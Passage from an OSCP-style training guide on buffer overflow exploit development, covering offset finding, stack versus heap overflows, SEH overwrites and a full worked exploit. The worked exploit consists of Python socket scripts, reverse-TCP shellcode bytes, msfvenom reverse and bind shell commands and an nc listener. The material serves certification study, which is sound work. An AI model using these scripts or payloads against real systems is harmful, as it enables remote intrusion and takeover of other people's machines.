# Usage:
pattern = create_pattern(3000)
offset = find_offset(0x37624136, pattern)
print(f"Offset: {offset}")

The Complete Offset-Finding Workflow

flowchart TD
    A["1. Create unique pattern<br/>pattern_create.rb -l 3000"] --> B["2. Send pattern as<br/>exploit payload"]
    B --> C["3. Program crashes<br/>Note EIP value"]
    C --> D["4. Look up EIP in pattern<br/>pattern_offset.rb -q <EIP>"]
    D --> E["5. Get exact offset<br/>e.g., 1234 bytes"]
    E --> F["6. Craft final exploit:<br/>'A'*1234 + RET_ADDR + ..."]

    style C fill:#ff7675,stroke:#d63031,stroke-width:2px
    style E fill:#55efc4,stroke:#00b894,stroke-width:3px

Verifying Your Offset

After finding the offset, always verify:

# Verification payload:
# Offset of 'A's + 4 'B's + rest of 'C's
# If EIP = 0x42424242 ('BBBB'), offset is correct!

payload = b'A' * offset + b'B' * 4 + b'C' * (total_length - offset - 4)

# In debugger, check:
# EIP should = 0x42424242 if offset is correct
# If EIP = 0x42414141 ('BA AA') → offset is off by 1
# If EIP = 0x42424141 ('BBAA') → offset is off by 2

9. Stack vs Heap Overflows

Stack-Based Buffer Overflow

┌─────────────────────────────────────────────────────────┐
│                  STACK OVERFLOW                          │
│                                                         │
│  Characteristics:                                        │
│  • Buffer allocated on the stack (local variable)        │
│  • Overwrites: saved EBP → return address               │
│  • Trigger: function returns ('ret' instruction)         │
│  • Control: Direct EIP control via return address        │
│  • Frequency: MOST COMMON in OSCP                       │
│                                                         │
│  Typical vulnerable code:                                │
│  void func(char *input) {                                │
│      char buf[256];  ← Stack allocation                  │
│      strcpy(buf, input);  ← No bounds check              │
│  }  ← 'ret' here uses our overwritten address            │
│                                                         │
│  Memory layout:                                          │
│  [buf[0]...buf[255]][padding][saved EBP][RET ADDR]      │
│                                       ↑ overwrite this   │
└─────────────────────────────────────────────────────────┘

Heap-Based Buffer Overflow

┌─────────────────────────────────────────────────────────┐
│                  HEAP OVERFLOW                            │
│                                                         │
│  Characteristics:                                        │
│  • Buffer allocated on heap (malloc, new, HeapAlloc)     │
│  • Overwrites: heap metadata, adjacent allocations       │
│  • Trigger: heap operations (free, realloc, malloc)      │
│  • Control: Indirect — via function pointers, vtables    │
│  • Frequency: Less common in OSCP, harder to exploit     │
│                                                         │
│  Typical vulnerable code:                                │
│  void func(char *input) {                                │
│      char *buf = malloc(256);  ← Heap allocation         │
│      strcpy(buf, input);   ← No bounds check             │
│      free(buf);           ← May use corrupted metadata   │
│  }                                                       │
│                                                         │
│  Heap chunk layout (glibc):                              │
│  [prev_size][size][data...][next_chunk_size][next_data] │
│                 ↑ overflow can corrupt next chunk's      │
│                 metadata → control during free()         │
└─────────────────────────────────────────────────────────┘

Comparison Table

Feature Stack Overflow Heap Overflow
Allocation Local variables (automatic) malloc(), new, HeapAlloc()
What gets overwritten Saved EBP, return address Heap metadata, function pointers, vtables
Trigger point Function return (ret) Heap operations (free, realloc)
EIP control Direct (overwrite return address) Indirect (corrupt pointers, then dereference)
Reliability High — deterministic layout Lower — heap layout varies
OSCP frequency ⭐⭐⭐⭐⭐ Very common ⭐⭐ Rare
Difficulty Beginner-Intermediate Advanced
ASLR impact Need module address (no ASLR) Need heap address prediction
Common techniques RET → NOP → Shellcode Fastbin attack, Unsorted bin, House of X

When Each Occurs

STACK overflow occurs when:
  ✓ Function has local char arrays
  ✓ Unsafe copy functions used (strcpy, sprintf, gets)
  ✓ Buffer size is fixed and smaller than input
  ✓ No stack canary / buffer security check

HEAP overflow occurs when:
  ✓ Dynamic memory allocation (malloc, new)
  ✓ Size of allocation based on user input
  ✓ Multiple allocations that can overlap
  ✓ Function pointers stored in heap objects

10. SEH Chain Overwrite

What Is SEH?

SEH (Structured Exception Handling) is Windows’ mechanism for handling runtime exceptions (divisions by zero, access violations, etc.). When an exception occurs, Windows walks the SEH chain to find a handler.

The SEH Record Structure

Each SEH record on the stack:

┌─────────────────────────────────────┐
│         SEH RECORD (12 bytes)        │
├─────────────────────────────────────┤
│ Offset 0: Next SEH pointer (4 bytes)│ ← Points to next handler
│ Offset 4: SE Handler (4 bytes)      │ ← Function to call on exception
│ Offset 8: Magic / args (4 bytes)    │ ← Extra data (often unused)
└─────────────────────────────────────┘
         ↓
   Points to next SEH record
   (or 0xFFFFFFFF for chain end)

The SEH Chain

Thread Environment Block (TEB)
         │
         ▼
  ┌─────────────┐
  │ ExceptionList│ ← Points to first SEH record
  └─────────────┘
         │
         ▼
  ┌─────────────────────────────────────┐
  │ SEH Record 1 (innermost / newest)   │
  │   Next → [points to SEH Record 2]   │
  │   Handler → handler_function_1      │
  └─────────────────────────────────────┘
         │
         ▼
  ┌─────────────────────────────────────┐
  │ SEH Record 2                        │
  │   Next → [points to SEH Record 3]   │
  │   Handler → handler_function_2      │
  └─────────────────────────────────────┘
         │
         ▼
  ┌─────────────────────────────────────┐
  │ SEH Record N (outermost / oldest)   │
  │   Next → 0xFFFFFFFF (chain end)     │
  │   Handler → kernel handler          │
  └─────────────────────────────────────┘

How SEH Overwrite Differs from EIP Overwrite

Aspect EIP Overwrite SEH Overwrite
Target Return address on stack SE Handler field in SEH record
Trigger Function returns normally Exception occurs (crash, invalid access)
Control flow ret pops address into EIP Windows calls SE Handler function
When to use Buffer overflow without exception Overflow that causes exception before return
Challenge Find RET address without bad chars Find POP/POP/RET gadget (no \x00, \x0a, \x0d)
Handler constraint Any address works Handler must be valid code (or POP POP RET)

SEH Overwrite Exploit Structure

┌──────────────────────────────────────────────────────────────┐
│              SEH EXPLOIT BUFFER STRUCTURE                      │
│                                                                │
│  ┌──────────┐  ┌────────────┐  ┌──────────┐  ┌────────────┐  │
│  │  FILLER  │  │ NEXT SEH   │  │ SEH HANDLER │ │ SHELLCODE  │  │
│  │  'A'*n   │  │  (4 bytes) │  │ (4 bytes)  │  │            │  │
│  └──────────┘  └────────────┘  └───────────┘  └────────────┘  │
│       │              │               │            │           │
│       ▼              ▼               ▼            ▼           │
│  Overwrites     Overwritten      Must be        Our payload  │
│  buffer +       with junk        POP POP RET    right after  │
│  padding        (or pointing     gadget that    the handler   │
│                 to next SEH)     jumps to       (shellcode    │
│                                 our shellcode)  follows)     │
└──────────────────────────────────────────────────────────────┘

Finding POP POP RET for SEH

; The SEH handler field must contain a valid instruction sequence
; that doesn't crash and redirects to our shellcode

; Ideal gadget: POP; POP; RET
; Why POP POP? Because Windows pushes exception record + context record
; onto the stack before calling the handler. We need to POP them off.

; Finding with Mona:
!mona seh

; This lists all POP POP RET gadgets in loaded modules
; Look for ones WITHOUT bad characters (\x00, \x0a, \x0d)

; Example output:
; [0x74003124] POP EDI ; POP ESI ; RETN (ssleay32.dll)
; [0x76132093] POP ECX ; POP ECX ; RETN (RPCRT4.dll)
; [0x77D25085] POP EBX ; POP EBP ; RETN (USER32.dll)

SEH Exploit Workflow

flowchart TD
    A["1. Overflow buffer<br/>past SEH record"] --> B["2. Overwrite SE Handler<br/>with POP POP RET addr"]
    B --> C["3. Place shellcode<br/>right after SEH record"]
    C --> D["4. Trigger exception<br/>access violation, etc"]
    D --> E["5. Windows calls<br/>SE Handler"]
    E --> F["6. POP POP RET executes<br/>RET jumps to shellcode"]
    F --> G["7. Shellcode runs! 🎉"]

    style D fill:#ff7675,stroke:#d63031,stroke-width:2px
    style F fill:#fdcb6e,stroke:#e17055,stroke-width:2px
    style G fill:#55efc4,stroke:#00b894,stroke-width:3px

When to Use SEH vs EIP Overwrite

Use EIP overwrite when:
  ✓ The overflow reaches the return address
  ✓ The function returns normally after the overflow
  ✓ You can find a good JMP/CALL/RET address

Use SEH overwrite when:
  ✓ The overflow causes an exception BEFORE the function returns
  ✓ The return address is not reachable (buffer too small)
  ✓ An SEH record sits between the buffer and the return address
  ✓ The application installs local exception handlers

11. Putting It All Together — A Complete Example

Scenario

We’re exploiting a vulnerable Windows service (vulnsvc.exe) with a stack-based buffer overflow over HTTP.

Step-by-Step Exploit Development

Step 1: Crash the Application

#!/usr/bin/env python3
# crash.py — Initial crash test

import socket

target = "10.10.10.10"
port = 80

# Send more data than the buffer can hold
buffer = b'A' * 5000

payload = f"GET / HTTP/1.1\r\nHost: {target}\r\nX-Custom: {buffer.decode()}\r\n\r\n".encode()

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target, port))
    s.send(payload)
    s.close()
    print("[+] Crash payload sent!")
except Exception as e:
    print(f"[-] Error: {e}")

Step 2: Find the Offset

#!/usr/bin/env python3
# offset.py — Find exact offset using pattern

import socket
from subprocess import check_output

target = "10.10.10.10"
port = 80

# Generate Metasploit pattern
pattern = check_output([
    '/usr/share/metasploit-framework/tools/exploit/pattern_create.rb',
    '-l', '5000'
]).strip()

payload = f"GET / HTTP/1.1\r\nHost: {target}\r\nX-Custom: {pattern.decode()}\r\n\r\n".encode()

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target, port))
    s.send(payload)
    s.close()
    print("[+] Pattern sent! Check EIP in debugger.")
    print("[+] Run: pattern_offset.rb -q <EIP_VALUE>")
except Exception as e:
    print(f"[-] Error: {e}")
# In terminal:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 37624136
# Output: [*] Exact match at offset 1234

Step 3: Verify the Offset

#!/usr/bin/env python3
# verify.py — Confirm offset control

import socket

target = "10.10.10.10"
port = 80

offset = 1234
buffer = b'A' * offset + b'B' * 4 + b'C' * (5000 - offset - 4)

payload = f"GET / HTTP/1.1\r\nHost: {target}\r\nX-Custom: {buffer.decode('latin-1')}\r\n\r\n".encode()

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target, port))
    s.send(payload)
    s.close()
    print(f"[+] Verification sent! EIP should = 0x42424242 ('BBBB')")
except Exception as e:
    print(f"[-] Error: {e}")

Step 4: Find a Good Return Address

; In Immunity Debugger with Mona:
!mona find -s "\xff\xe4" -m *.dll

; Found: essfunc.dll at 0x7E4A3290 (no ASLR, no bad chars)
; Verify:
!mona mod -m essfunc.dll
; Check: Rebase=No, ASLR=No, SafeSEH=No → GOOD

Step 5: Generate Shellcode

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=443 -f python -b '\x00'

Step 6: Final Exploit

#!/usr/bin/env python3
# exploit.py — Final working exploit

import socket
import struct

target = "10.10.10.10"
port = 80

# --- EXPLOIT COMPONENTS ---

# 1. Offset (filler to reach EIP)
offset = b'A' * 1234

# 2. Return address (JMP ESP in essfunc.dll, little-endian)
ret_addr = struct.pack('<L', 0x7E4A3290)

# 3. NOP sled (landing zone)
nop_sled = b'\x90' * 200

# 4. Shellcode (reverse TCP shell)
shellcode = (
    b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x6a\x0a"
    b"\x68\x02\x00\x01\x02\x68\x02\x00\x01\x02\x89"
    b"\xe6\x6a\x10\x56\x57\x68\x02\x00\x01\x02\x89"
    b"\xe6\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5"
    b"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06"
    b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72"
    b"\x6f\x6a\x00\x53\xff\xd5"
)

# --- ASSEMBLE THE PAYLOAD ---
buffer = offset + ret_addr + nop_sled + shellcode

payload = f"GET / HTTP/1.1\r\nHost: {target}\r\nX-Custom: {buffer.decode('latin-1')}\r\n\r\n".encode()

# --- SET UP LISTENER ---
print("[*] Start listener: nc -lvnp 443")
input("[*] Press Enter when ready...")

# --- SEND ---
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target, port))
    s.send(payload)
    s.close()
    print("[+] Exploit sent! Check your listener.")
except Exception as e:
    print(f"[-] Error: {e}")

Memory Layout of the Final Exploit

What we send → What it looks like in memory:

  Our Buffer                        Stack Memory
  ═══════════                       ════════════

  'A' * 1234 ────────────────►  [buffer[0] ... buffer[63]]
                                 [padding ... saved EBP]
  0x7E4A3290 ──────────────►  [RETURN ADDRESS] ← 'ret' pops this → EIP
                                 (stored as: 90 32 4A 7E in memory)
  '\x90' * 200 ─────────────►  [NOP SLED] ← ESP points here after JMP ESP
  shellcode ─────────────────►  [SHELLCODE] ← CPU slides into this

  Execution flow:
  1. 'ret' → EIP = 0x7E4A3290 (JMP ESP in essfunc.dll)
  2. JMP ESP → EIP = whatever ESP points to (our NOP sled)
  3. NOP sled → CPU slides through \x90 bytes
  4. Shellcode → Reverse TCP shell connects back to us

12. Quick Reference Cheat Sheet

Exploit Component Quick Values

Component Typical Value Notes
NOP byte \x90 x86 NOP instruction
JMP ESP \xff\xe4 Most common redirect instruction
JMP EAX \xff\xe0 Alternative if ESP not available
RET \xc3 Return instruction
Common offset range 200-2000 bytes Depends on buffer size
NOP sled size 100-300 bytes Bigger = more reliable
Shellcode size 300-500 bytes msfvenom default

Mona Commands Quick Reference

!mona config -set workingfolder c:\mona\%p     ; Setup Mona
!mona find -s "\xff\xe4" -m *.dll              ; Find JMP ESP
!mona find -s "\xff\xe4" -m module.dll         ; Find in specific module
!mona mod -m module.dll                        ; Module info (ASLR, REBASE, etc.)
!mona seh                                      ; SEH chain + POP POP RET gadgets
!mona noasp                                    ; Find addresses without ASLR modules
!mona compare esp <dumpfile>                   ; Compare ESP to find offset
!mona config -set solibpath /path/to/libs      ; Set library path

msfvenom Quick Reference

# Windows reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f python -b '\x00'

# Windows bind shell
msfvenom -p windows/shell_bind_tcp LPORT=<PORT> -f python -b '\x00'

# Linux reverse shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f python -b '\x00'

# With encoder (shikata ga nai)
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -e x86/shikata_ga_nai -b '\x00' -f python

# Check for bad chars
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f c -b '\x00'

Debugging Checklist

□ Immunity Debugger attached to target process
□ Mona plugin installed and configured
□ Breakpoint set at vulnerable function
□ Pattern created and sent
□ EIP value noted from crash
□ Offset calculated with pattern_offset
□ Offset verified with A*offset + B*4 + C*rest
□ Good return address found (no ASLR, no bad chars)
□ Shellcode generated without bad chars
□ Bad chars tested and eliminated
□ NOP sled sized appropriately
□ Exploit assembled and tested
□ Listener ready before sending

Common Issues and Fixes

Problem Likely Cause Fix
EIP = 0x41414141 Offset too small Increase offset
EIP = random value Offset too large Decrease offset
EIP controlled but no shell Bad return address Find valid JMP ESP
Shellcode truncated Null bytes in payload Regenerate with -b '\x00'
Access violation at shellcode Bad chars in shellcode Test and remove bad chars
Crash after NOP sled Shellcode has bad chars Use encoder or custom shellcode
No shell, process hangs Wrong architecture shellcode Match x86 vs x64
SEH overwrite fails Handler has bad chars Find POP POP RET without bad chars

Summary

Buffer overflow exploits are built from interconnected components, each with a specific role:

  1. Offset/Filler — Bridges the gap from buffer start to the return address
  2. Return Address — Overwrites EIP to redirect execution flow
  3. NOP Sled — Provides a forgiving landing zone for imprecise targeting
  4. Shellcode — The actual malicious payload that executes

Understanding how these pieces fit together in memory — and how the CPU processes them — is the foundation of exploit development. The stack grows downward, the return address sits right after the buffer, and by controlling what ret pops into EIP, we control the program.

Master these components, and you can adapt to any buffer overflow vulnerability you encounter on the OSCP exam.


Last updated: 2026-09-01 | OSCP Module 10: Fixing Exploits — Topic 3